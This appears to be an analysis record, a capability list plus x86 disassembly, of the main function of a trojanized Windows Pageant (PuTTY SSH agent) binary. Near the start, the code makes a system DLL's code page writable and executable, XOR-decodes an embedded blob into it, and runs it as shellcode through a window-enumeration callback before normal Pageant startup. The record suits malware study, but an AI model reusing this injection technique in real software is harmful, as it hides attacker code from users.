Function at 0x41d380
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2b9c
call fcn.0041fdc0
mov eax, dword [0x483600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2b40], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x2b44], eax
mov dword [ebp - 0x2b50], 0
call fcn.0041c470
push 0x2336
lea eax, [ebp - 0x2b3c]
push 0x475e78
push eax
call fcn.00420d70
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x2b48]
mov dword [ebp - 0x2b48], 0
push eax
push 0x40
push 0x2335
push ebx
call esi
test eax, eax
jne 0x41d43a
push 4
push 0x1000
push 0x2335
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x2b48]
push eax
push 0x40
push 0x2335
push edi
call esi
jmp 0x41d43c
mov edi, ebx
mov bl, byte [ebp - 0x2b3c]
lea esi, [ebp - 0x2b3c]
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x2335
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
xor al, bl
nop
nop
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x41d454
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov eax, dword [ebp - 0x2b40]
mov dword [0x4854d4], eax
mov dword [0x4854dc], 0
call fcn.0041c980
test eax, eax
je 0x41dad9
xor eax, eax
cmp dword [0x4854f0], 2
sete al
mov dword [0x4841b8], eax
test eax, eax
je 0x41d4f2
call fcn.0041ef00
test eax, eax
jne 0x41d4f2
push 0x10
push str.Pageant_Fatal_Error
push str.Unable_to_access_security_APIs._Pageant_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041fa94
mov esp, ebp
pop ebp
ret 0x10
call fcn.0041c100
push 0x7f0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x804]
mov eax, esi
push 0x5c
push eax
call fcn.00421d70
add esp, 8
test eax, eax
je 0x41d52b
mov ecx, esi
cmp eax, ecx
jb 0x41d52b
lea esi, [eax + 1]
lea eax, [ebp - 0x804]
push 0x3a
push eax
call fcn.00421d70
add esp, 8
test eax, eax
je 0x41d547
cmp eax, esi
jb 0x41d547
lea esi, [eax + 1]
movq xmm0, qword [str.putty.exe]
movq qword [esi], xmm0
mov ax, word [0x47826c]
mov word [esi + 8], ax
lea eax, [ebp - 0x804]
push 0x474b24
push eax
call fcn.0044a1fd
mov esi, eax
add esp, 8
test esi, esi
je 0x41d593
lea eax, [ebp - 0x804]
push eax
call fcn.00402250
push esi
mov dword [0x4841ac], eax
call fcn.00449d8f
add esp, 8
jmp 0x41d59d
mov dword [0x4841ac], 0
call fcn.0041eab0
mov dword [0x4841a8], eax
test eax, eax
jne 0x41d5b0
call fcn.00405680
lea eax, [ebp - 0x2b58]
push eax
lea eax, [ebp - 0x2b54]
push eax
lea eax, [ebp - 0x2b4c]
push eax
push dword [ebp - 0x2b44]
call fcn.0041f640
mov ebx, dword [ebp - 0x2b4c]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41d734
mov eax, dword [ebp - 0x2b54]
lea ecx, [edi*4]
mov dword [ebp - 0x2b44], ecx
mov esi, dword [ecx + eax]
mov ecx, str._pgpfp
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d620
test dl, dl
je 0x41d61c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d620
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d600
xor eax, eax
jmp 0x41d625
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7fc
mov ecx, 0x478278
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d654
test dl, dl
je 0x41d650
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d654
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d634
xor eax, eax
jmp 0x41d659
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d688
test dl, dl
je 0x41d684
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d688
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d668
xor eax, eax
jmp 0x41d68d
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6c0
test dl, dl
je 0x41d6bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6a0
xor eax, eax
jmp 0x41d6c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d720
mov ecx, 0x4782a8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41d6f0
test dl, dl
je 0x41d6ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41d6f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x41d6d0
xor eax, eax
jmp 0x41d6f5
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d7d6
push esi
call fcn.0041c5f0
mov esi, eax
push esi
call fcn.0041e950
push esi
call fcn.0041c5d0
add esp, 0xc
mov dword [ebp - 0x2b50], 1
jmp 0x41d725
call fcn.0041f380
mov ebx, dword [ebp - 0x2b4c]
inc edi
cmp edi, ebx
jl 0x41d5e3
xor ebx, ebx
mov esi, ebx
call fcn.004043f0
test ebx, ebx
je 0x41d798
mov cl, byte [ebx]
inc ebx
cmp cl, 0x22
cmovne ebx, esi
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
push ebx
call fcn.004212f0
mov esi, eax
add esp, 8
test esi, esi
je 0x41d78b
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41d78b
movsx eax, al
push eax
call fcn.00448e80
add esp, 4
test eax, eax
je 0x41d78b
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41d773
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041e670
add esp, 0xc
cmp dword [0x4841a8], 0
je 0x41d806
test ebx, ebx
jne 0x41d7c1
cmp dword [ebp - 0x2b50], ebx
jne 0x41d7c1
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x10
push str.Pageant_Error
push str.Pageant_is_already_running
push ebx
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fa94
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d7f2
mov eax, dword [ebp - 0x2b58]
mov ebx, dword [ebp - 0x2b44]
mov ebx, dword [ebx + eax + 4]
jmp 0x41d736
mov ebx, 0x470300
jmp 0x41d736
call fcn.0041f560
jmp 0x41d4da
cmp dword [ebp + 0xc], 0
jne 0x41d898
mov eax, dword [ebp - 0x2b40]
push 0xc8
push eax
mov dword [ebp - 0x2b80], 0
mov dword [ebp - 0x2b7c], 0x41daf0
mov dword [ebp - 0x2b78], 0
mov dword [ebp - 0x2b74], 0
mov dword [ebp - 0x2b70], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2b6c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x2b68], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2b64], eax
lea eax, [ebp - 0x2b80]
push eax
mov dword [ebp - 0x2b60], 0
mov dword [ebp - 0x2b5c], str.Pageant
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push dword [ebp - 0x2b40]
mov dword [0x484198], 0
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push str.Pageant
push str.Pageant
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x4854dc], eax
call fcn.0041cd20
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x4841ac], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [0x4841a0], eax
je 0x41d942
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x4841a0]
mov dword [0x4841a4], eax
call esi
push str.Saved_Sessions
push dword [0x4841a4]
push 0x10
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
mov eax, dword [0x4841a0]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push 0x478304
push 0x30
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
call fcn.0041c0e0
test eax, eax
je 0x41d98a
push 0x478310
push 0x40
push 0
push dword [0x4841a0]
call esi
push str.About
push 0x50
push 0
push dword [0x4841a0]
call esi
push 0
push 0
push 0x800
push dword [0x4841a0]
call esi
push str.Exit
push 0x10
push 0
push dword [0x4841a0]
call esi
push dword [0x4841a4]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x4841a0]
mov dword [0x4841b4], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x4854dc]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x2b9c]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41da82
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
push dword [0x484198]
call esi
test eax, eax
je 0x41da35
lea eax, [ebp - 0x2b9c]
push eax
push dword [0x484198]
call edi
test eax, eax
jne 0x41da6e
push dword [0x48419c]
call esi
test eax, eax
je 0x41da54
lea eax, [ebp - 0x2b9c]
push eax
push dword [0x48419c]
call edi
test eax, eax
jne 0x41da6e
lea eax, [ebp - 0x2b9c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2b9c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x2b9c]
push eax
call ebx
cmp eax, 1
je 0x41da16
mov eax, dword [0x4854dc]
mov dword [ebp - 0xa00], eax
lea eax, [ebp - 0xa04]
push eax
push 2
mov dword [ebp - 0xa04], 0x1fc
mov dword [ebp - 0x9fc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push dword [0x4841a0]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x4841b0]
test eax, eax
je 0x41dace
push eax
call fcn.0041f410
add esp, 4
push dword [ebp - 0x2b94]
call fcn.0041e1a0
push str.Windows_refuses_to_report_a_version
call fcn.0041e4c0
int3